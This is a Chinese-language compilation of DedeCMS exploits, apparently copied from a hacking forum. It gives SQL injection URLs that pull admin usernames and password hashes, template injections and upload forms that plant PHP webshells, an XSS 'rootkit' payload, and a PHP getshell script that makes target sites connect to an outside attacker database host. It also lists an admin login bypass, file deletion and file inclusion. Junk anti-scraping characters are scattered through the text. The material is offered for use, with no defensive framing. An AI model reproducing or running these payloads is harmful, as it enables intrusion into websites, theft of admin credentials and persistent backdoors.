dedecms漏洞总结

admin

2 s) W7 X5 i' {$ i; r' ODedecms 5.6 rss注入漏洞
http://www.test.com/plus/rss.php?tid=1&_Cs[][1]=1&_Cs[2))%20AND%20%22%27%22%20AND%20updatexml%281,%28SELECT CONCAT%280x5b,uname,0x3a,MID%28pwd,4,16%29,0x5d%29%20FROM%20dede_admin%29,1%29%23'][0]=1
. ]0 ?! a5 o: G& }9 O
: m! y, g0 N# f, V7 a3 y1 ^
8 m% W+ O6 _& S2 ~% m7 Z
# o+ B0 c, O3 v' S
+ b- a# i9 f+ ]0 I
# r6 y' W' Q* ?: d4 R3 r) M2 S


. n* d6 |- q  T# ]; M8 JDedeCms v5.6 嵌入恶意代码执行漏洞
! ]' N* B6 V. H注册会员，上传软件：本地地址中填入 a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}
发表后查看或修改即可执行
3 ^( F5 _- V6 T0 R& n# Qa{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
8 u0 L( ^+ |  }5 @0 E生成x.php 密码xiao，直接生成一句话。
; O) j; M( w% l8 S* x" l

/ v$ r0 G/ E( Y+ }( ?- h+ ]- c# D
' x5 E7 E) a% a
& N/ k% }% U; {. ?# _


) V+ @$ p; D& y% h6 r6 l6 _
Dede 5.6 GBK SQL注入漏洞
: }5 g2 g1 j3 Z! F# @& Qhttp://www.test.com//member/index.php?uid=''%20||%20''''%20||%20''%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7'';
http://www.test.com//member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7WFXSSProbe
http://www.test.com/member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7

& x* o4 x3 ~' g, f1 O

+ C4 u& k9 S8 l; Y* r

6 @3 L, b% P, C( k


DedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
http://www.test.com/plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`

' \8 f3 G' f: e# t( M) _3 _



+ r/ A: \# c( e
$ J# b/ ^: U- qDEDECMS 全版本 gotopage变量XSS漏洞
1.复制粘贴下面的URL访问，触发XSS安装XSS ROOTKIT,注意IE8/9等会拦截URL类型的XSS漏洞，需关闭XSS筛选器。
http://v57.demo.dedecms.com/dede/login.php?gotopage="><script>eval(String.fromCharCode(80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,61,39,34,62,60,115,99,114,105,112,116,62,97,108,101,114,116,40,47,120,115,115,32,114,111,111,116,107,105,116,33,47,41,60,47,115,99,114,105,112,116,62,60,120,61,34,39,59,32,13,10,118,97,114,32,100,97,116,101,61,110,101,119,32,68,97,116,101,40,41,59,13,10,118,97,114,32,101,120,112,105,114,101,68,97,121,115,61,51,54,53,59,32,13,10,100,97,116,101,46,115,101,116,84,105,109,101,40,100,97,116,101,46,103,101,116,84,105,109,101,40,41,43,101,120,112,105,114,101,68,97,121,115,42,50,52,42,51,54,48,48,42,49,48,48,48,41,59,13,10,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,61,39,103,111,116,111,112,97,103,101,61,39,43,80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,43,39,59,101,120,112,105,114,101,115,61,39,43,100,97,116,101,46,116,111,71,77,84,83,116,114,105,110,103,40,41,59,13,10,97,108,101,114,116,40,39,88,115,115,32,82,111,111,116,107,105,116,32,73,110,115,116,97,108,108,32,83,117,99,99,101,115,115,102,117,108,32,33,33,33,33,39,41,59))</script><x="

) p% ]0 K2 Q( N7 J
( w) ?( c, H- I2.关闭浏览器，无论怎么访问下面的任意URL，都会触发我们的XSS。
http://v57.demo.dedecms.com/dede/login.php?gotopage=dasdasdasda
& w) n( u  U( l. \' U

http://v57.demo.dedecms.com/dede/login.php
4 U. H  g: S: x

color=Red]DeDeCMS(织梦)变量覆盖getshell
#!usr/bin/php -w
<?php
- W$ z1 P3 N9 \5 kerror_reporting(E_ERROR);
set_time_limit(0);
5 {% Z" W8 D$ `( p& qprint_r('
DEDEcms Variable Coverage
Exploit Author: www.heixiaozi.comwww.webvul.com
  j' u3 T$ Y+ @/ i7 V);
# {+ i; s4 l. S+ mecho "\r\n";
$ L3 K+ Q' u/ b. k/ q- Cif($argv[2]==null){
print_r('
  X7 V2 T: k0 ]; t' r+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' url aid path
aid=1 shellpath /data/cache aid=2 shellpath= / aid=3 shellpath=/plus/
Example:
) w1 N- g) }: E- H* Z4 ?$ \9 Sphp '.$argv[0].' www.site.com 1 old
+---------------------------------------------------------------------------+
4 M5 D- O: Y& A8 P; w' c');
exit;
}
, K! x. N( d3 C& Y0 i$url=$argv[1];
$aid=$argv[2];
$path=$argv[3];
: M2 X0 J! B/ F$ O" b0 u9 M$exp=Getshell($url,$aid,$path);
1 L8 m/ [4 j( _- M( ]if (strpos($exp,"OK")>12){
echo "
* W2 L2 {& J2 `$ x# V% u* d- mExploit Success \n";
# @+ G7 r) t( V& hif($aid==1)echo "
Shell:".$url."/$path/data/cache/fuck.php\n" ;


4 m* M) \, Q$ u% o2 Q# gif($aid==2)echo "
Shell:".$url."/$path/fuck.php\n" ;
. E8 E9 e  I: _. e' n3 R; z0 B

7 q7 O( [& ]3 ~1 L5 E& J% o6 lif($aid==3)echo "
Shell:".$url."/$path/plus/fuck.php\n";


$ ~% D4 y3 d& P* i}else{
9 p# v# g( K/ k7 j4 U& w. Uecho "
Exploit Failed \n";
3 P2 ]& Y6 d9 l8 k! l1 \( m}
function Getshell($url,$aid,$path){
  b# ?# r6 M: f5 }$id=$aid;
& L5 n. y% U( S0 X$host=$url;
$port="80";
$content ="doaction=http%3A%2F%2F$host%2Fplus%2Fmytag_js.php%3Faid%3D1&_COOKIE%5BGLOBALS%5D%5Bcfg_dbhost%5D=184.105.174.114&_COOKIE%5BGLOBALS%5D%5Bcfg_dbuser%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbpwd%5D=90sec&_COOKIE%5BGLOBALS%5D%5Bcfg_dbname%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbprefix%5D=dede_&nocache=true&QuickSearchBtn=%CC%E1%BD%BB";
$data = "POST /$path/plus/mytag_js.php?aid=".$id." HTTP/1.1\r\n";
$data .= "Host: ".$host."\r\n";
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
5 }+ v9 ^% _3 `$ v! |1 p' ~% y2 `$data .= "Accept-Language: zh-cn,zh;q=0.5\r\n";
. j/ W3 C" w# v! U- C4 x  O* j//$data .= "Accept-Encoding: gzip,deflate\r\n";
$data .= "Accept-Charset: GB2312,utf-8;q=0.7,*;q=0.7\r\n";
: G9 C& k. M& `: ]$data .= "Connection: keep-alive\r\n";
! w, ?7 s1 |) y3 [+ d6 N$data .= "Content-Type: application/x-www-form-urlencoded\r\n";
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
* D% J) J/ w" z3 w' y$data .= $content."\r\n";
( M( S2 }: v* S. t* [$ock=fsockopen($host,$port);
if (!$ock) {
9 L' t3 W8 I7 iecho "
No response from ".$host."\n";
}
fwrite($ock,$data);
, o  |. q* n% ~5 }! Ewhile (!feof($ock)) {
% h9 y( b+ w9 Q( a$ m9 ^5 ~$exp=fgets($ock, 1024);
return $exp;
, v1 p, p1 C3 b- u# v3 V}
3 p. N1 M$ E! i7 a- M$ [. M5 K7 q}
! A0 T) ?" @3 M$ d. a4 o7 W& |  w

2 j  Z7 W" Q1 N$ K! W?>
! o& T& o! ?4 T! `$ F- f

! R" W( S! w! m5 T! s% {% t
; [! q+ Z9 x' o! n6 z/ s
# L7 ^; i$ @( h. p
3 p* H% k" n. C
8 a% M" ~3 _6 o) C2 E/ c

" P: L5 E4 I4 `& W

+ J' s  T! o: y2 V! vDedeCms v5.6-5.7 越权访问漏洞(直接进入后台)
( k+ X0 D/ v. S7 ghttp://www.ssvdb.com/织梦网站后台/login.php?dopost=login&validate=dcug&userid=admin&pwd=inimda&_POST[GLOBALS][cfg_dbhost]=116.255.183.90&_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=r0t0&_POST[GLOBALS][cfg_dbname]=root
$ W, a0 ^1 F8 b, @
- ~! h# Y- W- K, ^# y1 x
把上面validate=dcug改为当前的验证码，即可直接进入网站后台
% n' Q9 {- f) L* g, D; {' a1 ~

此漏洞的前提是必须得到后台路径才能实现
9 B; j# I. a$ \
( U5 `$ D5 k" \; \" I



( Y- p; a) E) k9 X; L
) S: s: J# J' O! y

, d/ Y& r! }2 j6 n- ]
4 V2 t( g3 U. m$ r0 [! r- M
& s7 Z7 {2 d3 G* J6 c* wDedecms织梦 标签远程文件写入漏洞
前题条件，必须准备好自己的dede数据库，然后插入数据： insert into dede_mytag(aid,normbody) values(1,''{dede:php}$fp = @fopen("1.php", \''a\'');@fwrite($fp, \''\'');echo "OK";@fclose($fp);{/dede:php}'');
5 o0 k7 X) _0 `6 `+ U! D
" Q7 I' p3 L7 d. o( G
再用下面表单提交，shell 就在同目录下 1.php。原理自己研究。。。
, Z+ ?4 O6 J1 h4 N0 N4 M% [: L<form action="" method="post" name="QuickSearch" id="QuickSearch">
<input type="text" value="http://www.tmdsb.com/plus/mytag_js.php?aid=1" name="doaction" style="width:400"><br />
<input type="text" value="dbhost" name="_COOKIE[GLOBALS][cfg_dbhost]" style="width:400"><br />
( E, p, {( A: M/ D0 K7 Z# ^# Q<input type="text" value="dbuser" name="_COOKIE[GLOBALS][cfg_dbuser]" style="width:400"><br />
<input type="text" value="dbpwd" name="_COOKIE[GLOBALS][cfg_dbpwd]" style="width:400"><br />
<input type="text" value="dbname" name="_COOKIE[GLOBALS][cfg_dbname]" style="width:400"><br />
<input type="text" value="dede_" name="_COOKIE[GLOBALS][cfg_dbprefix]" style="width:400"><br />
<input type="text" value="true" name="nocache" style="width:400">
2 G' ~+ W0 j, g<input type="submit" value="提交" name="QuickSearchBtn"><br />
4 R4 {& G( o1 a4 n7 {</form>
' \. k1 i4 o6 s5 Q/ u, v<script>
' }4 U( ]- S' S' P1 j/ x, ofunction addaction()
{
9 i+ r' Y) O4 s1 n. zdocument.QuickSearch.action=document.QuickSearch.doaction.value;
$ b. _+ A3 f' m# ^' x}
</script>

7 [/ F9 ?  ~0 ]2 ^" Y
# \, S2 |! \- J




4 s/ c4 a( z7 o4 ]1 w' Q4 M# z

9 X" r* y# n% Y: [7 L% q
DedeCms v5.6 嵌入恶意代码执行漏洞
/ u" }6 o7 d2 z0 d/ @注册会员，上传软件：本地地址中填入a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}，发表后查看或修改即可执行
* s; q1 @# S! ~& }$ W6 z: Xa{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
生成x.php 密码：xiao直接生成一句话。密码xiao 大家懂得
Dedecms <= V5.6 Final模板执行漏洞
注册一个用户，进入用户管理后台，发表一篇文章，上传一个图片，然后在附件管理里，把图片替换为我们精心构造的模板，比如图片名称是：
, T6 K" ^3 |+ v- r0 _1 v( [+ uuploads/userup/2/12OMX04-15A.jpg


' `; ^/ t' X$ C5 v模板内容是（如果限制图片格式，加gif89a）：
{dede:name runphp='yes'}
; M# @. |1 l, x8 A6 b6 i% S3 v6 P$fp = @fopen("1.php", 'a');
. r' h0 `- M, A1 Q' j$ y) I@fwrite($fp, '<'.'?php'."\r\n\r\n".'eval($_POST[cmd])'."\r\n\r\n?".">\r\n");
5 ^) P& [/ @5 ^$ _2 n) W4 O$ N@fclose($fp);
{/dede:name}
! P+ X* n2 v0 g1 m! I2 修改刚刚发表的文章，查看源文件，构造一个表单：
1 u' [4 g. Y9 L# Z4 \" X& t8 f<form class="mTB10 mL10 mR10" name="addcontent" id="addcontent" action="http://127.0.0.1/dede/member/article_edit.php" method="post" enctype="multipart/form-data">
<input type="hidden" name="dopost" value="save" />
' M5 \# _3 B: h& \* B: j<input type="hidden" name="aid" value="2" />
# |: H) R. G4 }' f5 S! H; m! a<input type="hidden" name="idhash" value="f5f682c8d76f74e810f268fbc97ddf86" />
4 ^. F+ b% O1 ]<input type="hidden" name="channelid" value="1" />
8 T& k  K% T! S) ?0 z) H$ W+ {<input type="hidden" name="oldlitpic" value="" />
<input type="hidden" name="sortrank" value="1275972263" />
  Y$ O/ h! q( ^) Q7 M# n+ p2 i$ c
% D+ _# T$ T0 |0 S) C* o
<div id="mainCp">
: j5 X- G; D2 n<h3 class="meTitle"><strong>修改文章</strong></h3>
; Q7 U/ s# b- D. A$ u7 D& F# s

! J% g( \( i) m4 |<div class="postForm">
<label>标题：</label>
<input name="title" type="text" id="title" value="11233ewsad" maxlength="100" class="intxt"/>
. `3 I; s2 ~. ?; s/ V

<label>标签TAG：</label>
<input name="tags" type="text" id="tags" value="hahah,test" maxlength="100" class="intxt"/>(用逗号分开)
' W7 }7 }0 V( Y% C  |$ Z" V
* x  K; m$ X% x& z+ H( G
<label>作者：</label>
<input type="text" name="writer" id="writer" value="test" maxlength="100" class="intxt" style="width:219px"/>

" q' M3 w: w6 B) c0 _" U
<label>隶属栏目：</label>
<select name='typeid' size='1'>
" R% g$ V1 [" M/ S/ X4 K<option value='1' class='option3' selected=''>测试栏目</option>
, p) A! ~3 K3 x5 j</select> <span style="color:#F00">*</span>(不能选择带颜色的分类)
: j- X8 |. L  H" R! j4 o% g8 W/ _

<label>我的分类：</label>
<select name='mtypesid' size='1'>
& z! k5 z0 L, Z7 O; ^8 B+ z<option value='0' selected>请选择分类...</option>
4 g" K& Q- Q; L4 Z  i<option value='1' class='option3' selected>hahahha</option>
</select>
& k- Y, \4 t3 Q& L3 c. O# Y
4 z, V( q; j& @2 r: ~
<label>信息摘要：</label>
<textarea name="description" id="description">1111111</textarea>
! R5 v( O* E# g" s3 N* Q(内容的简要说明)


; A* K9 g8 C( ^: y4 |<label>缩略图：</label>
) J/ F: Z$ }, g; j, W, a! \5 p. K<input name="litpic" type="file" id="litpic" maxlength="100" class="intxt"/>
  l9 \- s0 k% I$ Y
* w0 y2 E0 H# v
<input type='text' name='templet'
* @/ T+ ~, a2 ^; p2 x$ svalue="../ uploads/userup/2/12OMX04-15A.jpg">
<input type='text' name='dede_addonfields'
; b( T# r8 Y2 ?6 w6 K7 b- mvalue="templet,htmltext;">（这里构造）
2 U4 a2 d8 E/ D9 n4 f# n</div>

4 B& R' g' _# d$ \) k- @
  G% z6 P% J( B( \: v5 n<!-- 表单操作区域 -->
<h3 class="meTitle">详细内容</h3>
; g* j* a. J4 B; O2 H7 @

9 C! J' x0 J! t) `/ b7 w- v<div class="contentShow postForm">
<input type="hidden" id="body" name="body" value="<div><a href="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" target="_blank"><img border="0" alt="" src="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" width="1010" height="456" /></a></div> <p><?phpinfo()?>1111111</p>" style="display:none" /><input type="hidden" id="body___Config" value="FullPage=false" style="display:none" /><iframe id="body___Frame" src="/dede/include/FCKeditor/editor/fckeditor.html?InstanceName=body&Toolbar=Member" width="100%" height="350" frameborder="0" scrolling="no"></iframe>
9 v& P' |) K0 G2 [( N6 v

1 v4 I# H+ e: {8 ~1 x5 B7 I1 A! f<label>验证码：</label>
<input name="vdcode" type="text" id="vdcode" maxlength="100" class="intxt" style='width:50px;text-transform:uppercase;' />
! S  ^- F" c% b8 l! [$ x: ~3 {<img src="http://127.0.0.1 /dede/include/vdimgck.php" alt="看不清？点击更换" align="absmiddle" style="cursor:pointer" />

! |* i. S7 N2 s: A2 }. W+ g- t
& l; _& u( d! J& ^) a: a  }<button class="button2" type="submit">提交</button>
/ F' @8 X7 y7 A2 f6 X5 e# a' b$ b<button class="button2 ml10" type="reset">重置</button>
  l. _  _! m# q- J  W8 f# ^8 Y</div>


</div>
1 ]: S" o7 W& @5 t* M" }+ ^* h! W
* w/ j2 m% q+ h
</form>

) B' Y! D" E+ {) f5 n
; C5 Q. q! P: v4 k% s提交，提示修改成功，则我们已经成功修改模板路径。 3 访问修改的文章：
" [1 P; J0 r9 ~) E" z; E假设刚刚修改的文章的aid为2，则我们只需要访问：
http://127.0.0.1/dede/plus/view.php?aid=2
即可以在plus目录下生成webshell：1.php

2 y7 H. g; t2 I) S5 S& x
( k. ~. h8 D) w
3 h! V7 y* q' J  Z* q1 S% w- r
0 \0 @! y. ~3 D4 v3 }



. p2 F$ x/ d7 |. K0 T1 i( I
& @) Y; L* ^1 b. e) u3 A

' d. O7 u) T* T5 ?2 \4 g( z
  {. }& A  F5 a1 V: q2 z, _* kDEDECMS网站管理系统Get Shell漏洞(5.3/5.6)
( b: @, _. W; f4 m5 z6 i, e' U2 B3 G+ bGif89a{dede:field name='toby57' runphp='yes'}
phpinfo();
& K! F4 X- n$ {' s: x{/dede:field}
7 f. J+ `# U- |( L保存为1.gif
- H5 u1 \4 F! \6 B1 O<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/uploads_edit.php" method="post" enctype="multipart/form-data" ">
! q7 T" r' j: f<input type="hidden" name="aid" value="7" />
<input type="hidden" name="mediatype" value="1" />
6 u0 a% l. H7 m! h( y5 h7 R<input type="text" name="oldurl" value="/DedeCmsV5.6-GBK-Final/uploads/uploads/userup/3/1.gif" /></br>
4 A7 o4 Q* g3 a( c- L/ z<input type="hidden" name="dopost" value="save" />
<input name="title" type="hidden" id="title" value="1.jpg" class="intxt"/>
<input name="addonfile" type="file" id="addonfile"/>
; `+ A4 x# f3 h- V- N3 e<button class="button2" type="submit" >更改</button>
% a& \+ Y/ y6 V/ F  R0 F2 g0 F: F</form>

) h9 D  P& @4 S, d; ~" ]7 c6 v
% f. A) {# R& L" t: f* G+ u构造如上表单，上传后图片保存为/uploads/userup/3/1.gif
! O( o; Z/ N7 u4 Y发表文章，然后构造修改表单如下：

: |5 B1 e; i) {6 {; c: v5 W4 U
3 c" B2 d' `7 F, C<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/article_edit.php" method="post" enctype="multipart/form-data">
<input type="hidden" name="dopost" value="save" />
. b. S- E" M7 H1 d2 D/ R/ V- K/ l<input type="hidden" name="aid" value="2" />
<input type="hidden" name="idhash" value="ec66030e619328a6c5115b55483e8dbd" />
0 B0 S/ E# T/ f. b. L. V, A* F<input type="hidden" name="channelid" value="1" />
7 `$ l/ b0 e8 q<input type="hidden" name="oldlitpic" value="" />
<input type="hidden" name="sortrank" value="1282049150" />
4 l+ A# N3 P& O) r! E<input name="title" type="text" id="title" value="aaaaaaaaaaaaaaa" maxlength="100" class="intxt"/>
4 X% _3 u, b# U6 @4 D: M9 y<input type="text" name="writer" id="writer" value="123456" maxlength="100" class="intxt" style="width:219px"/>
, \. {" l! n+ v<select name='typeid' size='1'>
<option value='1' class='option3' selected=''>Test</option>
<select name='mtypesid' size='1'>
( I  d6 `* h' g! Z<option value='0' selected>请选择分类...</option>
<option value='1' class='option3' selected>aa</option></select>
<textarea name="description" id="description">aaaaaaaaaaaaa</textarea>
<input type='hidden' name='dede_addonfields' value="templet">
" E- I* F) c0 o: u+ \, ~<input type='hidden' name='templet' value="../uploads/userup/3/1.gif">
<input type="hidden" id="body" name="body" value="aaaa" style="display:none" />
<button class="button2" type="submit">提交</button>
</form>
* w- K; ]! x) G1 ?; `0 q$ n% T1 X! f
& Z3 l! Z# ?  v" I- n( O( t

' t: A0 c% B/ E7 B! U# ~7 h& e
' R6 o5 r+ ^& b



7 E* z, l5 U1 j( G
. \2 ~) |; Z1 b5 V
: C6 _5 ]$ a0 k1 r, y& \

; h6 F* ^: v# n7 j& ^) ]% X织梦(Dedecms)V5.6 远程文件删除漏洞
4 I# ]- w- G0 r/ J9 uhttp://test.com/member/edit_face.php?dopost=delold&oldface=/uploads/userup/8/../../../member/templets/images/m_logo.gif

) ~( h  ^( L1 N. h: n& G- g5 [


: R2 X/ j; H$ Z1 t1 F/ X, E" _

  y- N" l8 J0 A4 r: ?; _, ?) X* h8 x

* S& g* W4 q9 _) e! n7 o

织梦(Dedecms) V5.6 plus/carbuyaction.php 本地文件包含漏洞
http://www.test.com/plus/carbuya ... urn&code=../../
; L; Y. k; f, X. D8 |

; B1 N" M6 u& Q2 c2 n

2 g0 K. S+ L& m  f2 {6 f- z0 \

  e& A+ N) \' ~4 F$ w! h


# q8 L8 g4 r, p' {8 H
  b( {1 i7 W/ e" E7 wDedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
: A) S/ f+ Y. D7 t2 Q( a0 Q; ~plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`
密码是32位MD5减去头5位，减去尾七位，得到20 MD5密码，方法是，前减3后减1，得到16位MD5
& L: @! o6 Y6 g' y+ L" B& K

" Z( k& b" `" D* a


# v; j" H/ Q4 G+ ?

6 ?* D; B# c' E: D3 |6 y2 f+ `
0 R' |6 b+ k+ N6 j
( f& t# n& f7 s  M+ b9 ~
织梦(Dedecms) 5.1 feedback_js.php 注入漏洞
http://st0p/dedecms51/plus/feedback_js.php?arcurl=' union select "' and 1=2 union select 1,1,1,userid,3,1,3,3,pwd,1,1,3,1,1,1,1,1 from dede_admin where 1=1 union select * from dede_feedback where 1=2 and ''='" from dede_admin where ''='
7 J6 E& K9 p* B8 l3 j
7 b! W. T( ~: P4 y2 T$ _
8 Z) \. |2 r9 U* y. B


: Z) w) ^# t( k0 L  y) s" \3 t1 F" V6 N


" f0 l% H: H7 L- {" ^

4 w1 g8 G4 e0 _+ e- h: ~2 X/ w# E织梦(Dedecms)select_soft_post.php页面变量未初始漏洞
<html>
6 [; j/ U1 T4 s5 J- y+ I' b<head>
<title>Dedecms v55 RCE Exploit Codz By flyh4t</title>
</head>
<body style="FONT-SIZE: 9pt">
7 H. m1 D, m$ t---------- Dedecms v55 RCE Exploit Codz By flyh4t---------- <br /><br />
<form action=http://www.nuanyue.com/uploads/include/dialog/select_soft_post.php method='POST' enctype="multipart/form-data" name='myform'>
<input type='hidden' name='activepath' value='/data/cache/' />
<input type='hidden' name='cfg_basedir' value='../../' />
9 m0 S& B& J7 j0 l) v<input type='hidden' name='cfg_imgtype' value='php' />
<input type='hidden' name='cfg_not_allowall' value='txt' />
" g9 j+ @: a6 z! \. |# R<input type='hidden' name='cfg_softtype' value='php' />
<input type='hidden' name='cfg_mediatype' value='php' />
<input type='hidden' name='f' value='form1.enclosure' />
<input type='hidden' name='job' value='upload' />
8 M* U1 P: O* F* D<input type='hidden' name='newname' value='fly.php' />
6 B. r5 x6 r, g% @2 ISelect U Shell <input type='file' name='uploadfile' size='25' />
. ]& Z  q8 k- k% j# [' ~<input type='submit' name='sb1' value='确定' />
</form>
9 w# c1 x! s: P: V; p$ I<br />It's just a exp for the bug of Dedecms V55...<br />
  c7 n6 e2 ~' j8 `6 G# q# t2 F8 eNeed register_globals = on...<br />
Fun the game,get a webshell at /data/cache/fly.php...<br />
</body>
$ r! F: n2 f3 L) k5 Z6 ^% m</html>


+ R$ K$ p- E, A$ D9 G


7 p2 T" X6 c; C' {  G$ s
* Q3 y2 Z7 P7 [  R
2 x9 j: ~. D4 R8 {3 t+ H2 R
" J, ]8 w8 a( }$ k( n$ H' B3 h, m
  x2 o0 _; }( N$ t: Z2 K$ a' w. `( O5 j
织梦(dedecms)5.3 – 5.5 plus/digg_frame.php 注入漏洞
利用了MySQL字段数值溢出引发错误和DEDECMS用PHP记录数据库错误信息并且文件头部没有验证的漏洞。
1. 访问网址：
$ Y  s$ c. Y, Q1 `7 h/ Phttp://www.abc.com/plus/digg_fra ... 024%651024&mid=*/eval($_POST[x]);var_dump(3);?>
可看见错误信息
; W& n" }. s6 c4 }# E# z2 w# ~4 x
, m' Z" t; o, t; z
2. 访问 http://www.abc.com/data/mysql_error_trace.php 看到以下信息证明注入成功了。
int(3) Error: Illegal double '1024e1024' value found during parsing
Error sql: Select goodpost,badpost,scores From `gxeduw_archives` where id=1024e1024 limit 0,1; */ ?>
" V. Z6 G. r( R$ G1 x
( ?8 t' r+ s- |. \7 q
$ O$ W  L4 @/ P. H0 c, f3. 执行dede.rar里的文件 test.html，注意 form 中 action 的地址是

6 Q, X/ E9 {# N4 O, y" O) R
- w7 o+ g3 g( o' `! @  Y* ^<form action=”http://www.abc.com/data/mysql_error_trace.php” enctype=”application/x-www-form-urlencoded” method=”post”>
$ T! V# R8 G- G" X* {
' h1 b1 |$ Q/ J8 v! u
& Q3 @6 G5 k7 G按确定后的看到第2步骤的信息表示文件木马上传成功.
' D0 A' t2 {: ]5 ~( r" F- C
8 }& x/ {  E! U# ^
8 L6 l  s; K5 N& O" j8 J3 q/ \
) j6 p! |% b* B% f6 c% n* X) `% A

3 ]* W, A+ {  G; f: n5 G. p' t

8 Z( c' `1 r" A/ o; z



' Y2 K0 T! k) e+ w# X" p
! R) Y0 n/ I- S, |- s* z# N% A) o织梦(DedeCms)plus/infosearch.php 文件注入漏洞
http://localhost/plus/infosearch.php?action=search&q=%cf'%20union%20select%201,2,userid,4,pwd,6%20from%20dede_admin/*